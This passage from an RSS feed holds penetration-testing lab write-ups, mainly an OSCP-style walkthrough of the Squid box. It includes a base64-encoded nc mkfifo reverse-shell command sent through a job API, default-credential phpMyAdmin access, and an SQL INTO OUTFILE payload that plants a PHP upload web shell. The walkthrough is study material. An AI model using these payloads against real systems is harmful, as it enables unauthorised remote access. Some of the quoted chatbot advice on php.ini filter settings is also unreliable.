Submission Ids.</p><p>Check your file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b85gSAo-6MphPwP3knQdXw.png" /><figcaption>This is ideal.</figcaption></figure><p>It occurs to me now that we can likely get the server to retrieve a file and then execute it but we are not going to do it that way. Now that we know it works, we can substitute our base64 encoded curl command with a reverse shell instead.</p><p>We should set up our <a href="https://github.com/brightio/penelope">Penelope lightweight C2</a> listener now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*N8aIfxUfNjcl56yJMjMY8Q.png" /></figure><p>Be aware that if you return to the Jobs Tab, you can see our recent submission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*deB51ziNOLq3R8zFD26jKg.png" /></figure><p>It’s time to get some <a href="https://www.revshells.com/">juicy rev-shell code</a>.</p><p>I’m a huge fan of the ‘nc mkfifo’ rev-shell because it is reliable. I will use it here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7oNPebmuoLbkJzVIxXD2w.png" /><figcaption>We can even select to have it base64 encoded.</figcaption></figure><p>So my command is:</p><pre>curl -X &#39;POST&#39; &#39;http://192.168.229.37:52365/api/job_agent/jobs/&#39; -d &#39;{&quot;entrypoint&quot;:&quot;echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTkyLjE2OC40NS4yMDIgODAgPi90bXAvZg==|base64$IFS-d|sudo -n sh&quot;}&#39;</pre><p>Check the listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92YUW9rjfn81kFGRCG3tVQ.png" /></figure><p>There we have it!</p><p>Thank you for reading.</p><p>Please feel comfortable commenting, especially to improve on command or theory. I am trying to learn as much as possible every day and I love it when you folks assist me!</p><p>Epilogue: The rest of the ports and observations</p><p>I was not able to glean much useful information from the ports designated “Unknown”.</p><p>If I were legitimately pentesting this application I would have had a field day with the parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k185iyTqvd57l1erxLB-UA.png" /></figure><p>I feel like there is a lot to unpack here but I did not get into it. I was unsuccessful switching the IP address to attempt an RFI.</p><p>We will may also find data we can weaponize in the easily accessible logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*oexAYsnA5gJPQuEln488Ew.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cd52032adaf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — Squid]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-squid-1bc1e2dbb8d4?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bc1e2dbb8d4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Sun, 18 Feb 2024 18:15:12 GMT</pubDate>
            <atom:updated>2024-02-18T18:15:12.285Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Proving Grounds Practice — Squid</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*acFGvEfseTq38Q7div7RSw.jpeg" /><figcaption>Stable diffusion does not know what a squid looks like. This is clearly an octopus and the boat is underwater. This AI needs a lot of training still before I would consider buying credits.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*IxTbC9KSCOxttMBRO0cMdQ.png" /></figure><p>This is an easy box on Offsec’s PG Practice but the community disagrees and rates it as hard. I think it depends on your familiarity with Squid proxy and your comfort level with phpMyAdmin.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open                    <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 12:41 EST<br>Nmap scan report for 192.168.194.189<br>Host is up (0.084s latency).<br>Not shown: 65529 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds?<br>3128/tcp  open  http-proxy    Squid http proxy 4.14<br>|_http-title: ERROR: The requested URL could not be retrieved<br>|_http-server-header: squid/4.14<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2024-02-17T17:44:42<br>|_  start_date: N/A</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><p>What do we see with our initial TCP Nmap scan?</p><p>There are four open ports plus a couple of Windows Remote Procedure Calls, some of the usual suspects for a Windows machine. I like to start at the top.</p><p>Port 135 — Microsoft Windows RPC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*htZTHHxshlWRFA7mZRPFTQ.png" /></figure><p>Ports 139,445 — SMB and Remote Management</p><pre>enum4linux $IP <br><br>smbclient -N -L \\\\$IP\\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MLaUJDM0TR3u9lTevAuq3g.png" /><figcaption>Both of these also failed.</figcaption></figure><p>Port 3128 — Squid Proxy 4.14</p><p>This brings us to the machine’s namesake. Access must be through here because it is all that is left.</p><p><a href="http://www.squid-cache.org/">What is Squid Proxy</a>? (Now called squid-cache)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khmvUxHZALqkyZLXxRZ2NA.png" /></figure><p>We are familiar with proxies, <a href="https://portswigger.net/burp">Burp Suite</a> is another web proxy we use quite frequently. In summary, rather than directly access that dirty slow internet, this service is acting as a go-between from the server to the outside world at large. It offers security (allegedly) and speed improvements in the form of caching frequent destinations.</p><p>First we should investigate the version information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAvWprEzJlPz7BkNvAFvHw.png" /><figcaption>Nothing close to our version. Only very old versions.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*nQiGRdSlo9ANP0onTeNgtw.png" /></figure><p><a href="https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid">HackTricks</a> gives us some tools to work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7WlAB-OUVwaoR1fck3aKg.png" /></figure><p>Basically, we may be able to use Squid to scan itself. We want to use the -i argument in curl to show the response code.</p><pre>#To scan itself on port 80<br>curl -i --proxy http://$IP:3128 http://$IP<br><br>#To scan itself on port 443<br>curl -i --proxy http://$IP:3128 http://$IP:443<br><br>#To scan itself on port 8000<br>curl -i --proxy http://$IP:3128 http://$IP:8000</pre><p>We get a hit on port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*rKq-Wv-BRqISwgQ98XkgWw.png" /><figcaption>We can see some version information on Apache and PHP.</figcaption></figure><p>Doing them one at a time is a bit tedious. My notes contain a bash script that someone gave me. I cannot remember who, so if this is your code, I apologize for not giving you a shout out.</p><pre>#!/bin/bash<br><br># Proxy details<br>proxy_address=&quot;192.168.x.x&quot;<br>proxy_port=&quot;3128&quot;<br><br># Target IP and ports<br>target_ip=&quot;192.168.x.x&quot;<br>ports=(&quot;80&quot; &quot;443&quot; &quot;8000&quot; &quot;8080&quot;) #Feel free to add additional ports in the same format<br><br># Loop over ports<br>for port in &quot;${ports[@]}&quot;; do<br>    # Make a request using curl with the proxy, and save the response and status code<br>    response=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; --proxy $proxy_address:$proxy_port $target_ip:$port)<br><br>    # Check if the status code is 200<br>    if [ &quot;$response&quot; -eq 200 ]; then<br>        echo &quot;Response from $target_ip:$port with status code $response&quot;<br>    fi<br>done</pre><p>Running it we get the same result, but I ran it against the same ports so that’s not a surprise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*9a96r9XMUwBjySYeb2rNMA.png" /></figure><p>Okay great! From here we can use our own beloved <a href="https://getfoxyproxy.org/">FoxyPoxy</a> to reach the desired web offering <em>through</em> Squid Proxy.</p><p>To add it to FoxyProxy, select Options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*f7gyr0t1eTb2oA-vHvsg6g.png" /></figure><p>Go to the Proxies Tab and press the Add button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKUcdn1b05tNYF-APC6uaA.png" /></figure><p>Fill in Title, Type, Hostname (IP address), Port, and then Save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LX0EoFjJvUfLWm3Q_YxCww.png" /></figure><p>Now you can select it from the available proxies like you would Burp Suite and navigate to the discovered open port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*-57-CmqvDDwywUsoXn5gdQ.png" /></figure><p>At the bottom we see some goodies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GH-l6Ch8iFuOMN6luxhAog.png" /></figure><p>As always, we want to click on every link and explore every endpoint.</p><p>It’s never good when we can access the phpinfo() function as it leaks loads of information enabling further compromise.</p><p>Here are the sections of this I find most noteworthy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elksfYYFBt_IUv_w2JXKaQ.png" /></figure><p>The exact OS and build is disclosed. Also I have an urge to tamper with the parameters in the URL bar. This looks like it would be vulnerable to an Insecure Direct Object Reference (IDOR). What happens if we replace the -1 with another number?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*wtKvKX38PgHZUa4V-XpfRg.png" /></figure><p>I asked Gemini AI about this setting and here is how it responded.</p><p>ME: Speak to me as a cyber security professional. When I view my phpinfo.php page and it shows allow_url_fopen set to ‘On’. What does that mean exactly? Is this vulnerable? Should I shut it off?</p><p>GEMINI: From a cybersecurity perspective, having allow_url_fopen set to &quot;On&quot; in your php.ini file <strong>presents a significant security risk</strong> and should be <strong>disabled</strong> if not actively needed. Here&#39;s why:</p><p><strong>What is </strong>allow_url_fopen<strong>?</strong></p><p>This setting enables PHP scripts to access and read data from remote URLs using protocols like HTTP and FTP. This can be useful for tasks like downloading files, fetching content from APIs, or integrating with other services.</p><p><strong>Why is it risky?</strong></p><p>Enabling allow_url_fopen opens up several potential vulnerabilities:</p><ul><li><strong>Unintentional data leaks:</strong> Scripts might accidentally expose sensitive information through URLs.</li><li><strong>Code injection:</strong> Malicious URLs could be used to inject and execute arbitrary code on your server.</li><li><strong>Remote file inclusion (RFI):</strong> Attackers could exploit vulnerabilities to include and execute malicious code from remote locations.</li><li><strong>Denial-of-service (DoS) attacks:</strong> Attackers could exploit this setting to launch DoS attacks by flooding targeted servers with requests.</li></ul><p><strong>Should you disable it?</strong></p><p><strong>Generally, yes.</strong> Unless you have a specific, legitimate reason to use allow_url_fopen (e.g., actively using features that rely on it), it&#39;s best to disable it to enhance your server&#39;s security posture.</p><p><strong>Additional actions:</strong></p><ul><li><strong>Review your scripts:</strong> Thoroughly examine your code to ensure they don’t use allow_url_fopen unintentionally or insecurely.</li><li><strong>Consider alternatives:</strong> If specific functionality requires remote file access, explore safer alternatives like cURL or dedicated libraries with stricter controls.</li><li><strong>Stay updated:</strong> Keep your PHP installation and libraries updated to patch potential vulnerabilities that could be exploited through allow_url_fopen.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*LU7-ZGnIHLblsLDdsqPxTw.png" /></figure><p>More from Gemini:</p><p>Me: On the same subject ‘php.ini’. I also discovered that the filter.default is set to ‘unsafe_raw’. What should I be concerned about here? Is this a danger and if so, how?</p><p>Gemini: Having filter.default set to &quot;unsafe_raw&quot; in your php.ini file is indeed a concern from a security perspective. Here&#39;s why:</p><p><strong>What is </strong>filter.default<strong>?</strong></p><p>This setting determines the default filter applied to data from superglobals like $_POST, $_GET, and $_COOKIE. Filters are used to sanitize user input and prevent security vulnerabilities like Cross-Site Scripting (XSS) and SQL injection.</p><p><strong>Why is “unsafe_raw” dangerous?</strong></p><p>“Unsafe_raw” essentially applies no filter at all, leaving user input in its raw form. This creates several dangerous scenarios:</p><ul><li><strong>XSS vulnerabilities:</strong> Malicious scripts injected through user input can be executed on your website, compromising user data and potentially your server.</li><li><strong>SQL injection vulnerabilities:</strong> Unsanitized data in database queries can allow attackers to manipulate your database or even gain unauthorized access.</li><li><strong>Other vulnerabilities:</strong> Depending on the context, unfiltered data can be exploited for various other attacks like code injection or information disclosure.</li></ul><p><strong>What should you do?</strong></p><p><strong>Change it immediately!</strong> You should <strong>never</strong> rely on “unsafe_raw” for filtering user input. Instead, choose a <strong>stronger default filter</strong> that sanitizes data effectively. Popular options include:</p><ul><li>filter.default = htmlspecialchars<strong>:</strong> This filter encodes special characters, preventing XSS attacks in most cases.</li><li>filter.default = FILTER_SANITIZE_STRING<strong>:</strong> This filter removes various potentially dangerous characters.</li><li>filter.default = FILTER_SANITIZE_SPECIAL_CHARS<strong>:</strong> Similar to htmlspecialchars, but with more options for character encoding.</li></ul><p>BE AWARE that we cannot currently use AI <em>on</em> the OSCP exam. We<em> can </em>however use it to better study and ask those pesky questions that we have difficulty finding explicit answers to otherwise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpPRPyaZygy6DiGa6rQb8w.png" /></figure><p>Now we know where the temp directory is located. Also we can see this is being run with too many privileges as ‘NT AUTHORITY\LOCAL SERVICE’.</p><p>Moving on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*ijWYfl1-Jfk-mJaxpGEAhg.png" /></figure><p>Ideally this is never accessible from the outside. Technically in this case <em>we are</em> reaching through localhost. The default credentials are ‘root’ and BLANK for the password as my auto-fill is suggesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7lSDP3_XwuzD3VTDuGWpBg.png" /></figure><p>The defaults let us in! This can be a lot to negotiate. Click around a bit and get comfortable with your options.</p><p>This is how we can get initial access but put a pin in this for now. We are not done enumerating. It is important when practicing these labs to enumerate everything, because during the exam or on the job, we may encounter this scenario but the defaults have been changed so we should look for other avenues of access.</p><p>So with that in mind we can also go to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GFQfuvX70B9s9TQtFVGxA.png" /></figure><p>This will require some research on my end but it’s obvious that I should not have this much power over another person’s server.</p><p>We can also find another login page under ‘Your Aliases’ — Adminer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*IYXsme9p9lykTYUsZJW8hA.png" /></figure><p>Lastly there is information disclosure under the Alias ‘phpsysinfo’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwuZ3jfwcF6NEwJFAYY-7A.png" /></figure><p>Alright so let’s get back to our regularly scheduled program by returning to where we gained access to phpMyAdmin.</p><p>We can get version information by going here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*15mEF9hlvtCRzUJIe1O1gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*5t1TpQkOLYqvpB-CXZwyZA.png" /></figure><p>Then search for a public exploit. There are a lot of vulnerabilities for <em>different</em> versions of phpMyAdmin and it is wise to remember their availability for future encounters. In this case we have to search a bit but eventually, we <a href="https://gist.github.com/BababaBlue/71d85a7182993f6b4728c5d6a77e669f">can find</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_w8yd52mdAuCOKw_slvBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*19nfXcxJrlM-ufAl9YXLNg.png" /></figure><p>We will create a new file called uploader.php in the root web directory that allows us to upload a shell.</p><p>Go to the SQL Tab and insert this code:</p><pre>SELECT <br>&quot;&lt;?php echo \&#39;&lt;form action=\&quot;\&quot; method=\&quot;post\&quot; enctype=\&quot;multipart/form-data\&quot; name=\&quot;uploader\&quot; id=\&quot;uploader\&quot;&gt;\&#39;;echo \&#39;&lt;input type=\&quot;file\&quot; name=\&quot;file\&quot; size=\&quot;50\&quot;&gt;&lt;input name=\&quot;_upl\&quot; type=\&quot;submit\&quot; id=\&quot;_upl\&quot; value=\&quot;Upload\&quot;&gt;&lt;/form&gt;\&#39;; if( $_POST[\&#39;_upl\&#39;] == \&quot;Upload\&quot; ) { if(@copy($_FILES[\&#39;file\&#39;][\&#39;tmp_name\&#39;], $_FILES[\&#39;file\&#39;][\&#39;name\&#39;])) { echo \&#39;&lt;b&gt;Upload Done.&lt;b&gt;&lt;br&gt;&lt;br&gt;\&#39;; }else { echo \&#39;&lt;b&gt;Upload Failed.&lt;/b&gt;&lt;br&gt;&lt;br&gt;\&#39;; }}?&gt;&quot;<br>INTO OUTFILE &#39;C:/wamp/www/uploader.php&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZHQT6HhNzHaI7qNDU09zA.png" /></figure><p>Click the ‘Go’ button and we are set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*tfn2S9xe1hakAWfzst0ypw.png" /></figure><p>Then browse to the newly created php file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*om0jRoV5tduL5-A9j08eSQ.png" /></figure><p>Now we can upload the shell of our choice. <a href="https://www.revshells.com/">Mine is the Ivan Sincek </a>version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14VmuXNpNzJCKabB5boeWg.png" /></figure><p>Copy it to a file and upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7qq-6XtAiDCwMHk3amfGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*zPFEV-D11RnYA7FcpcxmUw.png" /></figure><p>Then we need to set up a listener. Be sure to use rlwrap to preserve arrow functionality upon connection. I like to use port 135 on Windows because I know it allows egress traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*qpCpMjd7r5t_-PIw3Co5Og.png" /></figure><p>Finally, we browse to our newly uploaded rev-shell. It is also located in the root web directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*vSzWWzgn9NmT1ZV1X9XlCA.png" /><figcaption>The browser should hang</figcaption></figure><p>Check your listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*GAs3pzSPF6jw6uwnkpFEng.png" /></figure><p>Tada! We did it.</p><p>As always thank you for reading. I wish you all the best in this rapidly evolving landscape.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bc1e2dbb8d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>